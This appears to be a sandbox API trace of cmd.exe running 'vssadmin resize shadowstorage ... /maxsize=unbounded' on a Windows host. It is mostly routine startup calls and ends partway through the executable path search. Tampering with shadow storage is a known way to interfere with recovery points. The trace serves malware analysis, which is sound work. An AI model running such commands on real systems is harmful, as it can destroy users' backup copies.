	[0065.091] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x9bea04, lpData=0x9bea08, lpcbData=0x9bea00*=0x1000 | out: lpType=0x9bea04*=0x0, lpData=0x9bea08*=0xc5, lpcbData=0x9bea00*=0x1000) returned 0x2
	[0065.091] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x9bea04, lpData=0x9bea08, lpcbData=0x9bea00*=0x1000 | out: lpType=0x9bea04*=0x4, lpData=0x9bea08*=0x1, lpcbData=0x9bea00*=0x4) returned 0x0
	[0065.091] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x9bea04, lpData=0x9bea08, lpcbData=0x9bea00*=0x1000 | out: lpType=0x9bea04*=0x0, lpData=0x9bea08*=0x1, lpcbData=0x9bea00*=0x1000) returned 0x2
	[0065.091] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x9bea04, lpData=0x9bea08, lpcbData=0x9bea00*=0x1000 | out: lpType=0x9bea04*=0x4, lpData=0x9bea08*=0x0, lpcbData=0x9bea00*=0x4) returned 0x0
	[0065.091] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x9bea04, lpData=0x9bea08, lpcbData=0x9bea00*=0x1000 | out: lpType=0x9bea04*=0x4, lpData=0x9bea08*=0x40, lpcbData=0x9bea00*=0x4) returned 0x0
	[0065.091] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x9bea04, lpData=0x9bea08, lpcbData=0x9bea00*=0x1000 | out: lpType=0x9bea04*=0x4, lpData=0x9bea08*=0x40, lpcbData=0x9bea00*=0x4) returned 0x0
	[0065.091] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x9bea04, lpData=0x9bea08, lpcbData=0x9bea00*=0x1000 | out: lpType=0x9bea04*=0x0, lpData=0x9bea08*=0x40, lpcbData=0x9bea00*=0x1000) returned 0x2
	[0065.091] RegCloseKey (hKey=0xcc) returned 0x0
	[0065.092] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x9be9fc | out: phkResult=0x9be9fc*=0xcc) returned 0x0
	[0065.092] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x9bea04, lpData=0x9bea08, lpcbData=0x9bea00*=0x1000 | out: lpType=0x9bea04*=0x0, lpData=0x9bea08*=0x40, lpcbData=0x9bea00*=0x1000) returned 0x2
	[0065.092] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x9bea04, lpData=0x9bea08, lpcbData=0x9bea00*=0x1000 | out: lpType=0x9bea04*=0x4, lpData=0x9bea08*=0x1, lpcbData=0x9bea00*=0x4) returned 0x0
	[0065.092] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x9bea04, lpData=0x9bea08, lpcbData=0x9bea00*=0x1000 | out: lpType=0x9bea04*=0x0, lpData=0x9bea08*=0x1, lpcbData=0x9bea00*=0x1000) returned 0x2
	[0065.092] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x9bea04, lpData=0x9bea08, lpcbData=0x9bea00*=0x1000 | out: lpType=0x9bea04*=0x4, lpData=0x9bea08*=0x0, lpcbData=0x9bea00*=0x4) returned 0x0
	[0065.092] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x9bea04, lpData=0x9bea08, lpcbData=0x9bea00*=0x1000 | out: lpType=0x9bea04*=0x4, lpData=0x9bea08*=0x9, lpcbData=0x9bea00*=0x4) returned 0x0
	[0065.092] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x9bea04, lpData=0x9bea08, lpcbData=0x9bea00*=0x1000 | out: lpType=0x9bea04*=0x4, lpData=0x9bea08*=0x9, lpcbData=0x9bea00*=0x4) returned 0x0
	[0065.092] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x9bea04, lpData=0x9bea08, lpcbData=0x9bea00*=0x1000 | out: lpType=0x9bea04*=0x0, lpData=0x9bea08*=0x9, lpcbData=0x9bea00*=0x1000) returned 0x2
	[0065.092] RegCloseKey (hKey=0xcc) returned 0x0
	[0065.092] time (in: timer=0x0 | out: timer=0x0) returned 0x5e40e724
	[0065.092] srand (_Seed=0x5e40e724) 
	[0065.092] GetCommandLineW () returned="cmd.exe /c vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded"
	[0065.092] malloc (_Size=0x4000) returned 0x31021f0
	[0065.093] GetCommandLineW () returned="cmd.exe /c vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded"
	[0065.093] malloc (_Size=0xffce) returned 0x3110048
	[0065.093] ??_V@YAXPAX@Z () returned 0x9bf9e0
	[0065.094] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x3110048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0065.094] malloc (_Size=0xffce) returned 0x3120020
	[0065.094] ??_V@YAXPAX@Z () returned 0x9bf7b4
	[0065.095] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3120020, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
	[0065.095] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0065.095] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0065.095] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0065.095] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0065.095] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0065.095] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0065.095] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0065.095] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0065.095] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0065.095] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0065.095] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0065.095] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0065.095] GetProcessHeap () returned 0x2e70000
	[0065.095] RtlFreeHeap (HeapHandle=0x2e70000, Flags=0x0, BaseAddress=0x2e756a8) returned 1
	[0065.095] GetEnvironmentStringsW () returned 0x2e74bd0*
	[0065.095] GetProcessHeap () returned 0x2e70000
	[0065.095] RtlAllocateHeap (HeapHandle=0x2e70000, Flags=0x8, Size=0xae2) returned 0x2e77748
	[0065.096] FreeEnvironmentStringsA (penv="A") returned 1
	[0065.096] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b
	[0065.096] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0065.096] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0065.096] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0065.096] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0065.096] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0065.096] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0065.096] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0065.096] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0065.096] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0065.096] malloc (_Size=0xffce) returned 0x312fff8
	[0065.096] ??_V@YAXPAX@Z () returned 0x9bf54c
	[0065.097] GetProcessHeap () returned 0x2e70000
	[0065.097] RtlAllocateHeap (HeapHandle=0x2e70000, Flags=0x8, Size=0x38) returned 0x2e70ae0
	[0065.097] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x312fff8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0065.097] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x312fff8, lpFilePart=0x9bf598 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x9bf598*="Desktop") returned 0x17
	[0065.097] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11
	[0065.098] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x9bf318 | out: lpFindFileData=0x9bf318*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x2e70b20
	[0065.098] FindClose (in: hFindFile=0x2e70b20 | out: hFindFile=0x2e70b20) returned 1
	[0065.098] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0x9bf318 | out: lpFindFileData=0x9bf318*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x2e70b20
	[0065.098] FindClose (in: hFindFile=0x2e70b20 | out: hFindFile=0x2e70b20) returned 1
	[0065.098] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0x9bf318 | out: lpFindFileData=0x9bf318*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x205eab37, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x205eab37, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x2e70b20
	[0065.098] FindClose (in: hFindFile=0x2e70b20 | out: hFindFile=0x2e70b20) returned 1
	[0065.098] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11
	[0065.098] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1
	[0065.098] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1
	[0065.098] GetProcessHeap () returned 0x2e70000
	[0065.098] RtlFreeHeap (HeapHandle=0x2e70000, Flags=0x0, BaseAddress=0x2e77748) returned 1
	[0065.098] GetEnvironmentStringsW () returned 0x2e74bd0*
	[0065.098] GetProcessHeap () returned 0x2e70000
	[0065.098] RtlAllocateHeap (HeapHandle=0x2e70000, Flags=0x8, Size=0xb1a) returned 0x2e76c58
	[0065.099] FreeEnvironmentStringsA (penv="=") returned 1
	[0065.099] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x3110048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0065.099] GetProcessHeap () returned 0x2e70000
	[0065.099] RtlFreeHeap (HeapHandle=0x2e70000, Flags=0x0, BaseAddress=0x2e70ae0) returned 1
	[0065.099] ??_V@YAXPAX@Z () returned 0x1
	[0065.099] ??_V@YAXPAX@Z () returned 0x1
	[0065.099] GetProcessHeap () returned 0x2e70000
	[0065.099] RtlAllocateHeap (HeapHandle=0x2e70000, Flags=0x8, Size=0x400e) returned 0x2e78d60
	[0065.099] GetProcessHeap () returned 0x2e70000
	[0065.099] RtlAllocateHeap (HeapHandle=0x2e70000, Flags=0x8, Size=0x8c) returned 0x2e77780
	[0065.099] GetProcessHeap () returned 0x2e70000
	[0065.099] RtlFreeHeap (HeapHandle=0x2e70000, Flags=0x0, BaseAddress=0x2e78d60) returned 1
	[0065.099] GetConsoleOutputCP () returned 0x1b5
	[0065.200] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xba3850 | out: lpCPInfo=0xba3850) returned 1
	[0065.200] GetUserDefaultLCID () returned 0x409
	[0065.200] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0xb9f82c, cchData=8 | out: lpLCData=":") returned 2
	[0065.200] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x9bf908, cchData=128 | out: lpLCData="0") returned 2
	[0065.200] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x9bf908, cchData=128 | out: lpLCData="0") returned 2
	[0065.200] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x9bf908, cchData=128 | out: lpLCData="1") returned 2
	[0065.201] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0xb9f81c, cchData=8 | out: lpLCData="/") returned 2
	[0065.201] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0xb9f7b8, cchData=32 | out: lpLCData="Mon") returned 4
	[0065.201] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0xb9f778, cchData=32 | out: lpLCData="Tue") returned 4
	[0065.201] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0xb9f738, cchData=32 | out: lpLCData="Wed") returned 4
	[0065.201] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0xb9f6f8, cchData=32 | out: lpLCData="Thu") returned 4
	[0065.201] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0xb9f6b8, cchData=32 | out: lpLCData="Fri") returned 4
	[0065.201] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0xb9f678, cchData=32 | out: lpLCData="Sat") returned 4
	[0065.201] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0xb9f638, cchData=32 | out: lpLCData="Sun") returned 4
	[0065.201] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0xb9f80c, cchData=8 | out: lpLCData=".") returned 2
	[0065.201] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0xb9f7f8, cchData=8 | out: lpLCData=",") returned 2
	[0065.201] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0065.202] GetProcessHeap () returned 0x2e70000
	[0065.202] RtlAllocateHeap (HeapHandle=0x2e70000, Flags=0x0, Size=0x20c) returned 0x2e77860
	[0065.202] GetConsoleTitleW (in: lpConsoleTitle=0x2e77860, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe") returned 0x1c
	[0065.316] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76750000
	[0065.316] GetProcAddress (hModule=0x76750000, lpProcName="CopyFileExW") returned 0x76764330
	[0065.316] GetProcAddress (hModule=0x76750000, lpProcName="IsDebuggerPresent") returned 0x76765930
	[0065.316] GetProcAddress (hModule=0x76750000, lpProcName="SetConsoleInputExeNameW") returned 0x748f09d0
	[0065.316] ??_V@YAXPAX@Z () returned 0x1
	[0065.317] GetProcessHeap () returned 0x2e70000
	[0065.317] RtlAllocateHeap (HeapHandle=0x2e70000, Flags=0x8, Size=0x400a) returned 0x2e78d60
	[0065.317] GetProcessHeap () returned 0x2e70000
	[0065.317] RtlFreeHeap (HeapHandle=0x2e70000, Flags=0x0, BaseAddress=0x2e78d60) returned 1
	[0065.318] _wcsicmp (_String1="vssadmin", _String2=")") returned 77
	[0065.318] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16
	[0065.318] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16
	[0065.318] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13
	[0065.318] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13
	[0065.318] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4
	[0065.318] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4
	[0065.318] GetProcessHeap () returned 0x2e70000
	[0065.318] RtlAllocateHeap (HeapHandle=0x2e70000, Flags=0x8, Size=0x58) returned 0x2e77a78
	[0065.318] GetProcessHeap () returned 0x2e70000
	[0065.318] RtlAllocateHeap (HeapHandle=0x2e70000, Flags=0x8, Size=0x1a) returned 0x2e77ad8
	[0065.319] GetProcessHeap () returned 0x2e70000
	[0065.319] RtlAllocateHeap (HeapHandle=0x2e70000, Flags=0x8, Size=0x78) returned 0x2e77b00
	[0065.320] GetConsoleTitleW (in: lpConsoleTitle=0x9bf800, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe") returned 0x1c
	[0065.403] malloc (_Size=0xffce) returned 0x3122638
	[0065.404] ??_V@YAXPAX@Z () returned 0x9bf58c
	[0065.404] malloc (_Size=0xffce) returned 0x3132610
	[0065.405] ??_V@YAXPAX@Z () returned 0x9bf344
	[0065.405] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18
	[0065.406] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17
	[0065.406] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18
	[0065.406] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2
	[0065.406] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19
	[0065.406] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19
	[0065.406] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19
	[0065.406] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4
	[0065.406] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4
	[0065.406] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17
	[0065.406] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3
	[0065.406] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6
	[0065.406] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18
	[0065.406] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2
	[0065.406] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6
	[0065.406] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9
	[0065.406] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9
	[0065.406] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4
	[0065.406] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4
	[0065.406] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6
	[0065.406] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15
	[0065.406] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3
	[0065.406] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19
	[0065.406] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19
	[0065.406] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14
	[0065.406] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14
	[0065.406] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4
	[0065.406] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17
	[0065.406] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3
	[0065.406] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17
	[0065.406] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2
	[0065.406] _wcsicmp (_String1="vssadmin", _String2="START") returned 3
	[0065.406] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18
	[0065.406] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11
	[0065.406] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9
	[0065.406] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6
	[0065.406] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6
	[0065.406] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21
	[0065.406] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16
	[0065.407] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20
	[0065.407] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19
	[0065.407] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9
	[0065.407] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18
	[0065.407] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17
	[0065.407] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18
	[0065.407] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2
	[0065.407] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19
	[0065.407] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19
	[0065.407] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19
	[0065.407] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4
	[0065.407] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4
	[0065.407] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17
	[0065.407] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3
	[0065.407] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6
	[0065.407] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18
	[0065.407] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2
	[0065.407] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6
	[0065.407] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9
	[0065.407] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9
	[0065.407] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4
	[0065.407] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4
	[0065.407] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6
	[0065.407] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15
	[0065.407] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3
	[0065.407] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19
	[0065.407] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19
	[0065.407] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14
	[0065.407] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14
	[0065.407] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4
	[0065.407] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17
	[0065.407] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3
	[0065.407] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17
	[0065.407] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2
	[0065.407] _wcsicmp (_String1="vssadmin", _String2="START") returned 3
	[0065.407] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18
	[0065.407] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11
	[0065.407] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9
	[0065.407] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6
	[0065.408] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6
	[0065.408] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21
	[0065.408] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16
	[0065.408] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20
	[0065.408] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19
	[0065.408] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9
	[0065.408] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16
	[0065.408] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13
	[0065.408] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4
	[0065.408] ??_V@YAXPAX@Z () returned 0x1
	[0065.408] GetProcessHeap () returned 0x2e70000
	[0065.408] RtlAllocateHeap (HeapHandle=0x2e70000, Flags=0x8, Size=0xffd6) returned 0x2e78d60
	[0065.409] GetProcessHeap () returned 0x2e70000
	[0065.409] RtlAllocateHeap (HeapHandle=0x2e70000, Flags=0x8, Size=0x8a) returned 0x2e77b80
	[0065.409] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19
	[0065.409] malloc (_Size=0xffce) returned 0x3132610
	[0065.409] ??_V@YAXPAX@Z () returned 0x9bf0c4
	[0065.409] GetProcessHeap () returned 0x2e70000
	[0065.409] RtlAllocateHeap (HeapHandle=0x2e70000, Flags=0x8, Size=0x1ffa4) returned 0x2e88d40
	[0065.411] SetErrorMode (uMode=0x0) returned 0x0
	[0065.411] SetErrorMode (uMode=0x1) returned 0x0
	[0065.411] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x2e88d48, lpFilePart=0x9bf0e4 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x9bf0e4*="Desktop") returned 0x17
	[0065.411] SetErrorMode (uMode=0x0) returned 0x1
	[0065.411] GetProcessHeap () returned 0x2e70000
	[0065.411] RtlReAllocateHeap (Heap=0x2e70000, Flags=0x0, Ptr=0x2e88d40, Size=0x4a) returned 0x2e88d40
	[0065.411] GetProcessHeap () returned 0x2e70000
	[0065.411] RtlSizeHeap (HeapHandle=0x2e70000, Flags=0x0, MemoryPointer=0x2e88d40) returned 0x4a
	[0065.411] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0065.412] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0065.412] GetProcessHeap () returned 0x2e70000
	[0065.412] RtlAllocateHeap (HeapHandle=0x2e70000, Flags=0x8, Size=0x1b4) returned 0x2e77c18
	[0065.412] GetProcessHeap () returned 0x2e70000
	[0065.412] RtlAllocateHeap (HeapHandle=0x2e70000, Flags=0x8, Size=0x360) returned 0x2e77dd8
	[0065.418] GetProcessHeap () returned 0x2e70000
	[0065.418] RtlReAllocateHeap (Heap=0x2e70000, Flags=0x0, Ptr=0x2e77dd8, Size=0x1b6) returned 0x2e77dd8
	[0065.418] GetProcessHeap () returned 0x2e70000
	[0065.418] RtlSizeHeap (HeapHandle=0x2e70000, Flags=0x0, MemoryPointer=0x2e77dd8) returned 0x1b6
	[0065.418] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0065.418] GetProcessHeap () returned 0x2e70000
	[0065.418] RtlAllocateHeap (HeapHandle=0x2e70000, Flags=0x8, Size=0xe0) returned 0x2e77f98
	[0065.418] GetProcessHeap () returned 0x2e70000
	[0065.418] RtlReAllocateHeap (Heap=0x2e70000, Flags=0x0, Ptr=0x2e77f98, Size=0x76) returned 0x2e77f98
	[0065.418] GetProcessHeap () returned 0x2e70000
	[0065.418] RtlSizeHeap (HeapHandle=0x2e70000, Flags=0x0, MemoryPointer=0x2e77f98) returned 0x76
	[0065.418] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0065.418] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x9bee70, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9bee70) returned 0xffffffff
	[0065.419] GetLastError () returned 0x2
	[0065.419] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0065.419] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x9bee70, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9bee70) returned 0xffffffff
